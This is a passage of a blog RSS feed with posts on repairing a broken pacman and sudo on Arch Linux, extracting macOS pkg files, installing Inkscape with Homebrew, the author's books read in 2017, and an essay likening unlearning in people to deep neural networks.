to realize that even &lt;code class="language-plaintext highlighter-rouge"&gt;pacman&lt;/code&gt; is broken:&lt;/p&gt;

&lt;div class="language-bash highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;pacman &lt;span class="nt"&gt;-Ss&lt;/span&gt; openssl
pacman: error &lt;span class="k"&gt;while &lt;/span&gt;loading shared libraries: libcrypto.so.1.0.0: cannot open shared object file: No such file or directory
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, this was scary. How do fix broken packages without my package
manager?&lt;/p&gt;

&lt;p&gt;Searching for this I found &lt;a href="https://bbs.archlinux.org/viewtopic.php?pid=1706378#p1706378"&gt;grism’s
answer&lt;/a&gt;
to similar problem. Turns out current version of &lt;code class="language-plaintext highlighter-rouge"&gt;sudo&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;pacman&lt;/code&gt;
depends on &lt;code class="language-plaintext highlighter-rouge"&gt;openssl-1.0&lt;/code&gt; and I upgraded it to &lt;code class="language-plaintext highlighter-rouge"&gt;1.1&lt;/code&gt;. To downgrade it,
I didn’t need to download the &lt;code class="language-plaintext highlighter-rouge"&gt;1.0&lt;/code&gt; version package from web as
installing &lt;code class="language-plaintext highlighter-rouge"&gt;mongodb-tools&lt;/code&gt; also installed &lt;code class="language-plaintext highlighter-rouge"&gt;openssl-1.0&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;pkg.tar.xz&lt;/code&gt;
of which can be found at &lt;code class="language-plaintext highlighter-rouge"&gt;/var/cache/pacman/pkg&lt;/code&gt;. As per the above
link, I extracted it in &lt;code class="language-plaintext highlighter-rouge"&gt;/tmp&lt;/code&gt; and made a symlink for &lt;code class="language-plaintext highlighter-rouge"&gt;libssl-1.0.0&lt;/code&gt;
and &lt;code class="language-plaintext highlighter-rouge"&gt;libcrypto-1.0.0&lt;/code&gt; at &lt;code class="language-plaintext highlighter-rouge"&gt;/var/lib/&lt;/code&gt;:&lt;/p&gt;

&lt;div class="language-bash highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="c"&gt;# cd /tmp &amp;amp;&amp;amp; tar xf /var/cache/pacman/pkg/openssl-1.0-1.0.2.n-1-x86_64.pkg.tar.xz&lt;/span&gt;
&lt;span class="c"&gt;# ln -s /tmp/usr/lib/libcrypto.so.1.0.0 /usr/lib/libcrypto.so.1.0.0&lt;/span&gt;
&lt;span class="c"&gt;# ln -s /tmp/usr/lib/libssl.so.1.0.0 /usr/lib/libssl.so.1.0.0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That is some terrible advice here, as symlinking one version to
another can break mulitple things, but other solutions were suggesting
to reinstall OS. Now, Arch Linux comes with absolute minimum built in
packages which means reinstalling it would require reinstalling all
the packages which I had installed over the span of 2-3 years since
I’m using Arch. So obiously, I took the above advice and well that
fixed my &lt;code class="language-plaintext highlighter-rouge"&gt;pacman&lt;/code&gt;. So first thing first, I need my &lt;code class="language-plaintext highlighter-rouge"&gt;sudo&lt;/code&gt; back, so I
installed &lt;code class="language-plaintext highlighter-rouge"&gt;openssl-1.0&lt;/code&gt; from downloaded &lt;code class="language-plaintext highlighter-rouge"&gt;.pkg.tar.xz&lt;/code&gt;:&lt;/p&gt;

&lt;div class="language-bash highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="c"&gt;# pacman -U /var/cache/pacman/pkg/openssl-1.0-1.0.2.n-1-x86_64.pkg.tar.xz&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Exit &lt;code class="language-plaintext highlighter-rouge"&gt;root&lt;/code&gt; and try:&lt;/p&gt;

&lt;div class="language-bash highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo ls&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; password &lt;span class="k"&gt;for &lt;/span&gt;nks:
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That’s better. Back to &lt;code class="language-plaintext highlighter-rouge"&gt;MongoDB&lt;/code&gt; problem.&lt;/p&gt;

&lt;p&gt;Lesson learnt – when they say upgrading a single package in Arch
Linux in not recommended, they mean it. Infact they mean, never ever
do that, instead do a full system upgrade like&lt;/p&gt;

&lt;div class="language-bash highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;pacman &lt;span class="nt"&gt;-Syu&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;–
&lt;a href="https://twitter.com/krsoninikhil"&gt;@krsoninikhil&lt;/a&gt;&lt;/p&gt;</description><author>Nikhil Soni</author><pubDate>Sun, 07 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nikhilsoni.me/2018/01/07/when-your-sudo-and-pacman-breaks/</guid></item><item><title>Troubleshooting</title><link>https://nikhilsoni.me/2018/01/07/troubleshooting/</link><description>&lt;p&gt;In “Corporate World” there is a lot of focus on documenting things,
which I didn’t used to do much in college. And doing it made me
realize it’s importance. While working on any project, now I’m in a
habit of writing things down, what worked, what didn’t, everything,
which most of the time involve troubleshooting.&lt;/p&gt;

&lt;p&gt;And looking back last 2-3 year, I’ve spent countless hours on
installing and fixing things, sometimes even on repeated stuff and
other than StackOverflow, blogs of other people helped me more than
anything. Because of these reasons I’ve started to write about
breaking and fixing things publicly. Here is the list of the posts on
same:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="/2018/01/07/when-your-sudo-and-pacman-breaks"&gt;When Your Sudo and Pacman
Breaks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="/2018/03/23/what-is-that-options-request-before-post-and-cross-origin-resource-sharing"&gt;No support for OPTIONS
request&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;–
&lt;a href="https://twitter.com/krsoninikhil"&gt;@krsoninikhil&lt;/a&gt;&lt;/p&gt;</description><author>Nikhil Soni</author><pubDate>Sun, 07 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nikhilsoni.me/2018/01/07/troubleshooting/</guid></item><item><title>Extracting files from pkg</title><link>https://xenodium.com/extracting-files-from-pkg</link><description>&lt;pre&gt;&lt;code class="language-{.bash"&gt;mkdir tmp
cd tmp
xar -xf ../Some.pkg
cat Payload | gunzip -dc |cpio -i
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 07 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/extracting-files-from-pkg</guid></item><item><title>Installing Inkscape with homebrew</title><link>https://xenodium.com/installing-inkscape-with-homebrew</link><description>&lt;pre&gt;&lt;code class="language-{.bash"&gt;brew tap caskroom/cask
brew install caskformula/caskformula/inkscape
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 07 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/installing-inkscape-with-homebrew</guid></item><item><title>Books read in 2017</title><link>https://faingezicht.com/articles/2018/01/07/books/</link><description>You might be aware that I keep a &lt;a href="https://docs.google.com/spreadsheets/d/1VkbAVV86-HRxxl0PlCTVl_beF2GjvofUYeVyuNAAQTg/"&gt;list&lt;/a&gt; of my read and "to-reads." The index keeps growing organically, as I walk into bookstores or converse with friends, but what really drives its growth is that curiosity is exponential: with each book I read, I add a few more to the list. I know I will never be able to finish it.

Last year, I set myself a goal to read 18 books in 2017, and to make sure more of the books I read were written by women. Below is a list of the 18 I got through. Distilling books into a few words is a tough exercise, but if I had to compress my reading into a few ideas, I'd say the overarching themes are emergent behavior, identity formation, otherness, and a fascination with change.

&lt;div class="book-review"&gt;
  &lt;h4&gt;Invisible Cities - Italo Calvino&lt;/h4&gt;
  &lt;p&gt;Walking around the West Loop last December, we came across a great used book store. I picked up Invisible Cities , not really knowing what to expect, but knowing it'd be good. It was. The book is told from the perspective of Marco Polo, who is telling Kublai Khan about his travels through the Khan's empire. Each chapter is devoted to a city, with short exchanges between the explorer and the emperor scattered throughout. Commentary about identities, culture, and cosmopolitanism make these conversations the best parts of the book. In many ways, the surreal descriptions of the cities reminded me of reading Borges, full of infinities, circularities, and strange anachronisms. With remarks such as "A description of Zaira as it is today should contain all Zaira's past," or "The more one was lost in unfamiliar quarters of distant cities, the more one understood the other cities he had crossed to arrive there," it kept me thinking about path dependence, how experiences form one's self, and how lucky I am to have traveled around the world. This is one I'll probably re read in a few years.&lt;/p&gt;
&lt;/div&gt;

&lt;div class="book-review"&gt;
  &lt;h4&gt;Hillbilly Elegy - J. D. Vance&lt;/h4&gt;
  &lt;p&gt;Like half the people in this country, I spent early 2017 trying to figure out what the hell had just happened. I got this book as a gift, and started reading it right away. The book has become one of the essentials in building up the narrative of the poor white underclass that got Trump to power. When I read it, I saw it as a viable explanation: disenfranchised rednecks losing their jobs were looking to improve their economic outlook. But as time went on, I started buying into that story less and less. I'm convinced the rise of Trump is all about racism and an unwillingness to pay for government services that the other will enjoy but I digress, back to the book. My life in the US has been limited to a very narrow population, first at Northwestern, and now in San Francisco. With his book, Vance does a good job of giving us a window into a community that, at least for me, had been totally inaccessible. Just that makes the book worthwhile.&lt;/p&gt;
&lt;/div&gt;

&lt;div class="book-review"&gt;
  &lt;h4&gt;We Should All Be Feminists - Chimamanda Ngozi Adichie&lt;/h4&gt;
  &lt;p&gt;Adding this book here feels like cheating, as it is more a short essay than an actual book. If you don't want to read the book, there's a TED talk that has 90% the same content word for word. The main point that Adichie makes is that most issues around gender are structural, and that we should change the way we interact with others if we actually believe that something should be done about gender equality. She makes obvious points (at least, obvious to me), such as the fact that male/female portrayals in our culture are based on old stereotypes, and that we have to educate kids about gender roles differently, but more importantly she talks about how we should react to day to day interactions that we tend to ignore.&lt;/p&gt;
&lt;/div&gt;

&lt;div class="book-review"&gt;
  &lt;h4&gt;Season of the Witch - David Talbot&lt;/h4&gt;
  &lt;p&gt;Last year, my book about San Francisco was Gary Kamiya's Cool Gray City of Love. This time, it was Talbot's. Unlike Kamiya's, Season of The Witch talks about a much more specific time in SF history (the 60s, 70s and 80s), but both books tell specific stories of people, places, and events that are often overlooked. It was an enjoyable read, and gave me a fresh view of the city that I live in. The sections that discuss the art and music scene in San Francisco were especially interesting, as I knew all about the images and sounds, but little of their background.&lt;/p&gt;
&lt;/div&gt;

&lt;div class="book-review"&gt;
  &lt;h4&gt;Cat's Cradle - Kurt Vonnegut&lt;/h4&gt;
  &lt;p&gt;This one I read with Hannah. Each day before bed we'd take turns reading a chapter or two to each other, and it made for great conversations. I knew nothing about the book when we started it, and it ended up being full of themes I really enjoy thinking about: technology's ifnluence on society, social control through culture, and shared identity formation. Most of the book is set on the fictional Caribbean island of San Lorenzo, where people are extremely poor, and the locals follow the cryptic religion of Bokononism. Vonnegut does a great job of building up the tenets of Bokononism, and introduces some great concepts like the Granfalloon, "a group of people who affect a shared identity or purpose, but whose mutual association is meaningless" such as companies, states, religions, and more. It was right up my alley.&lt;/p&gt;
&lt;/div&gt;

&lt;div class="book-review"&gt;
  &lt;h4&gt;Handmaid's Tale - Margaret Atwood&lt;/h4&gt;
  &lt;p&gt;I picked this one up for a similar reason to 1984, dystopic novels help us understand our lives, but perhaps more importantly it helped me understand the lives of others. Handmaid's Tale is written from the perspective of Offred, an opressed woman in an extremely misogynistic and religious society where there is an underclass of women kept and used only for reproductive purposes. Her story is covered front to back with ideas and details that only a woman could write about. It is easy to build empathy with the handmaids in the book, and the suffering that they go through, but it is also clear that a lot of the themes are just more extreme cases of gender discrimination and violence that occur in our society today. I might start watching the TV show this year.&lt;/p&gt;
&lt;/div&gt;

&lt;div class="book-review"&gt;
  &lt;h4&gt;Onward - Howard Schultz&lt;/h4&gt;
  &lt;p&gt;Ever since I heard Howard Schultz speak at Northwestern four years ago, I wanted to read his books. As a coffee snob who regularly complains about Starbucks’s quality, I went to the event with low expectations and interested mostly in the cult of personality. Even though I hate their product, he did a good job and got me interested in his company. Now, years later, having finally read one of his two books, I have to say I feel conflicted about Onward. The book lays out the reasons for Starbucks's outsized role in the industry, and its influence in American coffee culture, but it does so with a self indulgent tone that’s hard to take seriously. I did a full review back in July, and I think reading that will give you all the info you need reading the book is not worth it.&lt;/p&gt;
&lt;/div&gt;

&lt;div class="book-review"&gt;
  &lt;h4&gt;Flash Boys - Michael Lewis&lt;/h4&gt;
  &lt;p&gt;This is another book I had been meaning to read for a while (although I actually listened to the audiobook). In it Lewis sheds light on one of the many faces of economic arbitrage in the 21st century. Flash Boys is a story about how Wall Street banks, hedge funds, and other financial institutions apply high frequency trading (HFT) techniques to gain an edge over other players in the most competitive financial markets. It is a great story at the intersection of technology, finance, complexity, and human behavior, and I found listening to it quite enjoyable. Read my full review here.&lt;/p&gt;
&lt;/div&gt;

&lt;div class="book-review"&gt;
  &lt;h4&gt;Neuromancer - William Gibson&lt;/h4&gt;
  &lt;p&gt;When I was at Northwestern, one of my professors in the economics department insisted that as someone working in technology I should read Neuromancer. In my professor's words, "you'd never believe it was published when it was," and Gibson's view of the future in 1984 was indeed forward looking. He came up with the concepts of Cyberspace , as well as The Matrix " a consensual hallucination experienced daily by billions of legitimate operators, in every nation ... A graphic representation of data abstracted from banks of every computer in the human system. Unthinkable complexity. " Reading this in the 80s must have evoked very different images than it does today. In some ways Gibson's writing was amazingly prescient. On the one hand, biohacking and internet like virtual reality are central themes to the story, but on the other hand so are payphones. What I found most interesting in the book were the conversations between people and machines, and their discussions of consciousness, memory, and mortality. Had I read it when it first came out, those would not have been as interesting.&lt;/p&gt;
&lt;/div&gt;

&lt;div class="book-review"&gt;
  &lt;h4&gt;Man's Search for Meaning - Viktor Frankl&lt;/h4&gt;
  &lt;p&gt;My friend Dana had recommended this one a couple of years ago during a trip to New York. The book is divided into two parts. The first, a narration of Frankl's experience as a prisoner in Auschwitz during World War II, is much more interesting than the second, an introduction to Logotherapy, the author's theory of psychology. As you would expect, the book is full of horrible stories from the death camps, but Frankl's tenet of finding meaning in the worst conditions imaginable gives the reader reasons to be optimistic, too even there, people found humanity and reasons to keep going. Listening to this audiobook made for some very introspective bike rides to and from work. "Those who have a why to live, can bear with almost any how ."&lt;/p&gt;
&lt;/div&gt;

&lt;div class="book-review"&gt;
  &lt;h4&gt;Zen and the Art of Motorcycle Maintenance - Robert Pirsig&lt;/h4&gt;
  &lt;p&gt;This one was a tough one. I still can't decide whether I liked it or hated it. Zen is a book of dichotomies. Romantics and classics, technology and humanism, the narrator and Phaedrus. At first, I enjoyed the conversations about philosophy, but hated the author's ramblings on Quality his undefinable theory of reality and his time in academia. The book is redeemed by the fact that it is based on the author's life and his struggle with schizophrenia. The stories of human interaction with friends, family, colleagues, and the narrator himself are much more interesting than the philosophical discourse. I clearly remember adding it to my to read list during my Software Project Management class, when my team had strayed from our objective, and our professor interrupted us to tell us about a scene: the characters are camping, and the lead wants to make dinner, so he searches for a machete, but it is dark, so he goes through his bag first to find a flashlight, but can't find it, so he goes to his motorcycle and turns on the headlamp to find the flashlight. "It takes a long time to realize I don't need the flashlight, I need the machete, which is in plain sight." By the time he found it, the fire had been lit by someone else. That day I learned about yak shaving.&lt;/p&gt;
&lt;/div&gt;

&lt;div class="book-review"&gt;
  &lt;h4&gt;Imagined Communities - Benedict Anderson&lt;/h4&gt;
  &lt;p&gt;This was probably the most enlightening book I read this year. This one was a recommendation from my high school history teacher. Soon after the election, and after a bad experience renewing my visa I started reading obsessively about identity, nationalism, states, and nations, so naturally I asked him for books worth reading, and this was his suggestion. Anderson's book defines a more rigorous version of Vonnegut's granfalloons. I tried hard to understand it, so I took notes along the way. Anderson explains the rise of nations as a confluence of trends. The erosion of religion, the rise of print capitalism, the appearance of "shared linear time," the growth of the bureaucratic state, and the distance between imperial colonies and their capitals, all created the right environment for nation states to become the undeniable paradigm for governance in our time. Personally, reading about the creole communities in colonial America, and how they saw themselves vis a vis Spain, England, et al, hit close to home. The son of a Spaniard in America did not see himself as an American, but as a Spaniard, while in the eyes of someone in Madrid, he was not a True Spaniard. Eventually, the Spanish bureaucrats started to think of themselves as "homeless," sharing much more with the administrators of other nearby colonies than with the motherland. I see a similar kind of identity loss happening in my life, and in many of my contemporaries'. We take the existence of nation states as a given, and it is hard to imagine a world without them, but technology and politics are aligning in strange ways these days. Expect me to write more about this one at some point soon.&lt;/p&gt;
&lt;/div&gt;

&lt;div class="book-review"&gt;
  &lt;h4&gt;But What If We're Wrong? - Chuck Klosterman&lt;/h4&gt;
  &lt;p&gt;When I told Hannah I was going to read this, she looked at me, incredulous, and told me, "That just doesn't seem like an author you'd enjoy." But after reading it, I could not shut up about it. I was introduced to it when Russ Roberts interviewed Klosterman for a lighter than usual episode of EconTalk. The book's main idea is well synthesized by what the author calls Klosterman's Razor: "...the philosophical belief that the best hypothesis is the one that reflexively accepts its potential wrongness to begin with." That's an idea I can get behind. While I am not contrarian for the sake of being contrarian, I do take pride in the heresy of considering the potential wrongness of ideas that most people take for granted. It is somewhat odd to discuss whether The Beatles, Elvis, or Dylan might not be worth remembering, a few pages away from a scientific conversation about whether we've arrived at the end of knowledge, but, in fact, it is the variety of fields from which the author presents unthinkable thoughts that makes it an interesting read. Klosterman's book is full of dubious claims, and has little to no academic rigor, but I'd still recommend it. If anything, it will make you realize what you're wrong about, and make you better off in the long run.&lt;/p&gt;
&lt;/div&gt;

&lt;div class="book-review"&gt;
  &lt;h4&gt;The Undoing Project - Michael Lewis&lt;/h4&gt;
  &lt;p&gt;This was another gift, which I had first added to my stack when I heard of it described as "the lighter version of Thinking Fast and Slow ." When I started reading the book, and Lewis spent a full chapter talking about sports I thought of putting it down, but powered through it until the real content began. The Undoing Project tells the story of Amos Tversky and Daniel Kahneman, two psychologists who revolutionized not just the field of psychology, but also that of economics, ultimately getting Kahneman the Nobel Prize in Economics (after Tversky's death). Beyond explaining their research and discoveries, much of the book is biographical, telling the origin story of how the two got started in the field and built one of the best working relationships you can imagine. An amusing aspect of the book for me is how much the story of these two is tied to the story of Israel as a young country, and how much Lewis explains details that the average reader is not at all familiar with, but which I've known since my childhood. I probably should put the time in and read Thinking Fast and Slow as well.&lt;/p&gt;
&lt;/div&gt;

&lt;div class="book-review"&gt;
  &lt;h4&gt;Everything and More - David Foster Wallace&lt;/h4&gt;
  &lt;p&gt;As a mathematics book written in a pop science style, Everything and More walks a thin line between being too technical for the untrained reader and too dumbed down for the expert. For better or for worse, I fall somewhere in between. I found the explanations of complicated mathematical ideas and their proofs entertaining, but enjoyed most DFW's recounting of the field's development during the 1700s and 1800s. What was most striking was how much of a parallel I could draw between the development of calculus and today’s state of the art in computer science: treating useful but poorly understood methods as black boxes can lead to strange places. Read my full review here.&lt;/p&gt;
&lt;/div&gt;

&lt;div class="book-review"&gt;
  &lt;h4&gt;Walkaway - Cory Doctorow&lt;/h4&gt;
  &lt;p&gt;Perhaps it is recency bias, but I think Walkaway was my favorite one of the year. The book touches on all sorts of present day anxieties, taken to the extreme: From people going in debt to acquire useless education/degrees, to the rising costs of healthcare, the growing power of the surveilance state, the concentration of wealth in the hands of a few, and more. The story develops in a near future Canada, where civilization has devolved into two distinct subsets. On the one hand, there is default , where the zotta rich oligarchy has fully captured the economy, and the working class has no agency or opportunity, working hard to barely get by. Then, there is walkaway , where those who have had enough of the status quo are building a new system, and are experimenting to see how to organize this new society. It is a textbook example of exit. Before reading the it, I had read an essay by Doctorow describing it as a Coasean Tale , so I read it with a predisposition to see most events in the plot through the lens of coordination problems. I'm sure most people wouldn't have caught that, as it is never made explicit, and the discussions of the implications of new technologies like advanced material sourcing/3D printing or inmortality through brain uploading overwhelm the nuanced talk of organizational behavior. Knowing that the ultimate message was about finding ways to improve how humans build on each other's work made it all the more interesting. My one complaint is that the book was written in a point counterpoint style, where long winded and deeply engaging conversations on dense topics like post humanism and property rights are suddenly contrasted with scenes full of sex and violence. Doctorow could have toned the latter down and done a better job of blending the two, but the arguments exposed by the characters are so interesting that even with its disjointed style the book was very enjoyable. Organizing human behavior is one of the hardest and most rewarding problems we can spend our days thinking about. The only reason humanity is where it is now is that we've figured out how to build on each other's selfish individual goals, and Doctorow brilliantly illustrates an alternative to our default.&lt;/p&gt;
&lt;/div&gt;

&lt;div class="book-review"&gt;
  &lt;h4&gt;The Death and Life of Great American Cities - Jane Jacobs&lt;/h4&gt;
  &lt;p&gt;In this classic of urban development studies, Jacobs discusses the decline of cities in the first half of the twentieth century, and proposes a series of ideas for how to turn them around. Like many in my generation, I love dense urban living, and balk at the idea of going home to a non descript suburb. I live in a lively neighborhood in San Francisco, where public transit, a diverse population, and mixed use buildings are defining features, and it is hard for me to think of a time when these were not valued and when people thought that the opposite was desirable. There are many interesting passages in the book (I've highlighted some here), but one of the most striking themes was the view that cities are different from towns and suburbs because they oblige us to interact with strangers. In fact, healthy cities promote these interactions, and city dwellers derive a lot of value from them, mostly through emergent behavior. For example, the fact that many individuals from all over the city have independently decided to spend their weekend afternoons in Dolores Park is what makes it a wonderful place to be, regardless of whether an urban designer decided to pour resources into it. Tying back to a theme I mentioned earlier, Jacobs also makes several arguments that a man would probably not even notice. Several pages are devoted to how (mostly male and white) urban designers assume that men are away at work, while the women were the ones participating in city life. These ideas influenced the way neighborhoods, parks, and schools were set up, and were wholly disconnected with reality, then and now. She discusses, for example, how sidewalks are seen as unimportant by modern designers, even though they are a fundamental tool for urban child rearing, or how diversity of use of parks in residential areas is minimal, as their design is aimed solely at mothers with their kids. As we've come to learn, getting a diversity of ideas and opinions from all sorts of users is central to any kind of design process. The problems that cities face today have evolved since Jacobs wrote her treatise, and that's partially because when we look at our cities today the ideas that Jacobs exposed in The Death and Life of Great American Cities have been implemented everywhere. What were once contrarian views are now seen as truths, and urban change has given way to new challenges. Understanding that the problems are structural is a good first step, and Jacobs' book helped me gain some clarity on things we should be working on.&lt;/p&gt;
&lt;/div&gt;

&lt;hr /&gt;

Additionally, I spent some time reading technical books. Since I didn't read any of them cover-to-cover, its not worth expanding much more, but they were:

* _Mastering Bitcoin_ - Andreas Antonopoulos
* _Effective Python_ - Brett Slatkin
* _The New Flask Mega-Tutorial_ - Miguel Grinberg
* _Clojure for the Brave and True_ - Daniel Higginbotham

Other books I only read halfway were:

* _Seeing Like a State_ - James C. Scott
* _Behave_ - Robert Sapolsky

Also, Hannah and I tried working through Gabriel García Márquez's Chronicle of a Death Foretold, which was a struggle for both of us since we were reading it in Spanish.

This year, I'm trying to go for 24. We'll see how that goes. In the meantime, if you have a book recommendation, or have thoughts on my reviews above, &lt;a href="/contact"&gt;let me know&lt;/a&gt;!

Last year's list is &lt;a href="/articles/2017/01/06/books/"&gt;here&lt;/a&gt;.

&lt;hr /&gt;

&lt;small&gt;&lt;em&gt;Photo: Powell Books, by me. Previously posted on &lt;a href="/photos/2017/05/22/pdx/"&gt;Portlanding&lt;/a&gt;.&lt;/em&gt;&lt;/small&gt;</description><author>Avy Faingezicht</author><pubDate>Sun, 07 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/articles/2018/01/07/books/</guid></item><item><title>How to unlearn</title><link>http://dimitarsimeonov.com/2018/01/07/how-to-unlearn</link><description>&lt;p&gt;&lt;em&gt;We know how to learn, but we don’t know how to un-learn, and how to
forget&lt;/em&gt;. If you’ve seen the movie Borat, and seen him wrestle with
Azhamat Bagatov, it becomes an image that you’d rather not
remember. You might have forgotten, but simply reading about it might
bring back the grotesque images in your mind. You’re welcome. If you
haven’t seen this, and I don’t recommend seeing it, be forewarned that
it is NSFW in an ugly way.&lt;/p&gt;

&lt;p&gt;When we’re exposed to something disgusting, we have no way of
cleansing our minds of it. Even though we might have pushed the
memory away from conscious thoughts, and leave it to slowly decay
away, the simple mention of it might invokes it back. It wasn’t
something we’ve forgotten, it’s something that you swept aside, and
let decay like a radioactive element.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Our brains don’t have a “Recycle Bin” to empty&lt;/em&gt; the way a computer
can dispose of unwanted files. Deep neural networks, whether made of
fat in our heads, or made of silicon and abstractions on computers,
are not good at forgetting information they’ve seen.&lt;/p&gt;

&lt;p&gt;Let me talk a bit more about the “artificial” ones first, and I’ll
revisit the biological neurons later.&lt;/p&gt;

&lt;p&gt;When deep learning network sees data, it adjusts its model weights to
incorporate the new data into a probability distribution, representing
all data seen so far. And that process is only additive. As the
network keeps on seeing more and more data it incorporates more and
more things into the distribution of the data. Deep learning, like
other Machine Learning, works by transforming &lt;em&gt;the statistical
distribution of the data&lt;/em&gt;, and not by having a semantic understanding
of what’s happening. When deep learning model can differentiate
between images of cat’s and dogs, it just has learned that the pixels
of the image are more likely to come from the distribution of the
cats’ images, than the one of the dogs’ images. It has no idea that
these are animals.&lt;/p&gt;

&lt;p&gt;But also, if we trick the model by telling it that bunch of images of
red flowers are images of cats, it will take long until it can
un-learn that anything reddish, or flower-like is not a cat..&lt;/p&gt;

&lt;p&gt;&lt;img alt="ytho" src="http://mitko.github.io/assets/image/20180107_unlearning/ytho.png" width="100%" /&gt;&lt;/p&gt;

&lt;p&gt;To understand why we’d need to go a little bit deeper
into how deep learning models work. The way deep learning works
specifically represent that distribution of cats images is to take the
multi dimensional space of the image - one dimension for each pixel
and color channel per pixel, and to do a series of transformations on
it. The transformations are a series of linear transformations,
followed by some nonlinearity.&lt;/p&gt;

&lt;p&gt;It’s like if you have a piece of paper, and you can iteratively rotate
it around(linear), move it around(again linear), and fold
it(non-linear). The linear transformations don’t necessarily change
the paper, but the folding does, because now suddenly, points on that
paper which were far from each other are close to each other.&lt;/p&gt;

&lt;p&gt;And the paper is thick - not just two dimensional, but many, many
dimentional.&lt;/p&gt;

&lt;p&gt;When the model learns it right
Sometimes it looks like a beautiful origami.&lt;/p&gt;

&lt;p&gt;&lt;img alt="origami" src="http://mitko.github.io/assets/image/20180107_unlearning/origami.jpg" width="100%" /&gt;&lt;/p&gt;

&lt;p&gt;Sometimes it looks like messy ball.&lt;/p&gt;

&lt;p&gt;&lt;img alt="paperball" src="http://mitko.github.io/assets/image/20180107_unlearning/paper_ball.png" width="100%" /&gt;&lt;/p&gt;

&lt;p&gt;If you’ve got a ball, and you want to make it pretty, how do you do
it? It’s not clear.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The paper has deformation memory&lt;/em&gt;. Many of the creases cannot be
ironed out. It the brain, creases are created by trauma, learning the
wrong things, or brainwashing. You could be a mathematician trying to
understand concepts you thought impossible, like a point connected to
every other point. You could be a person who moved to a different
country or town, where suddenly people are a lot more direct in
expressing disagreement. You could be someone who’s always been
dependent on institutions to provide, and be now trying to make it on
your own. You could have biases and superstitions. You might have gaps
in the understanding of basis, and struggling to understand the higher
level concepts.&lt;/p&gt;

&lt;p&gt;It’s always hard, and you can never adapt 100%. And the creases are
like structural fractures, they tend to spread in other related areas.
It’s a struggle, but I’m an optimist, because I’ve heard stories about
people turning their life around from negative to the positive.&lt;/p&gt;

&lt;p&gt;&lt;img alt="pitbull" src="http://mitko.github.io/assets/image/20180107_unlearning/pitbull.jpg" width="100%" /&gt;&lt;/p&gt;

&lt;p&gt;The change can be gradual and gentle, or more disruptive. Disruptive
change would iron out the whole paper, lay it out flat, and then start
over, trying to re-learn everything from scratch, the right way. It is
quite hard to do in practice, on a large scale. We’d have to forget
everything. Everything. We just won’t be able to operate, if it wasn’t
for the all the things we’ve learned. I think the disruptive approach
doesn’t really work, unless you’re in extreme situation to begin with.&lt;/p&gt;

&lt;p&gt;A more gradual change would be to iron out parts at a time, and
re-fold them. Take each small part from negative to positive. When
done correctly creates a non disruptive adaptation, and gradually
improves your shape. It might be easy to make progress initially, but
this strategy only scales so far. That is, because it is hard to fold
segments of the paper in isolation, when they connect to other parts
of the paper. In the limit case you’ll end up with a Frankenstein of
an origami which is half bird, half messy ball. You can have some
really sharp and polished skills and knowledge, but be very inept in
some other situation.&lt;/p&gt;

&lt;p&gt;Some people can be really good with computers, and bad with people. Or
vice versa. Some really smart people are extremely dumb. As someone
who’s been associated with smart-sounding things like mathematics and
computer science and who’s had a good career in both, yet made plenty
of dumb actions outside of those, I implore you:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Don’t underestimate the capacity of “smart” people, and experts, to be
dumb, even as related to their areas of expertise.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Each smart person has parts of their origami neat and clear, but other parts messy. It’s the natural place where we all end up, because we specialize in certain areas, and accumulate gaps and ignorance in others.&lt;/p&gt;

&lt;p&gt;Improving the Frankenstein origami is a hill-climbing optimization,
that will get stuck in some local optimum, and yet and it has plenty
of value for us.&lt;/p&gt;

&lt;p&gt;When we get stuck we cannot re-fold any area without disrupting
others. That’s where I think we can apply a separate approach. I think
the approach is to define values and principles which guide our
decisions and thinking and start applying them to situations we’ve
learned and internalized, but are in disagreement.&lt;/p&gt;

&lt;p&gt;In other words, create our own creases in the paper and start
propagating them. When we apply them in all our experiences, they
become a blueprint, for our lives and minds, the way origami has a
blueprint.&lt;/p&gt;

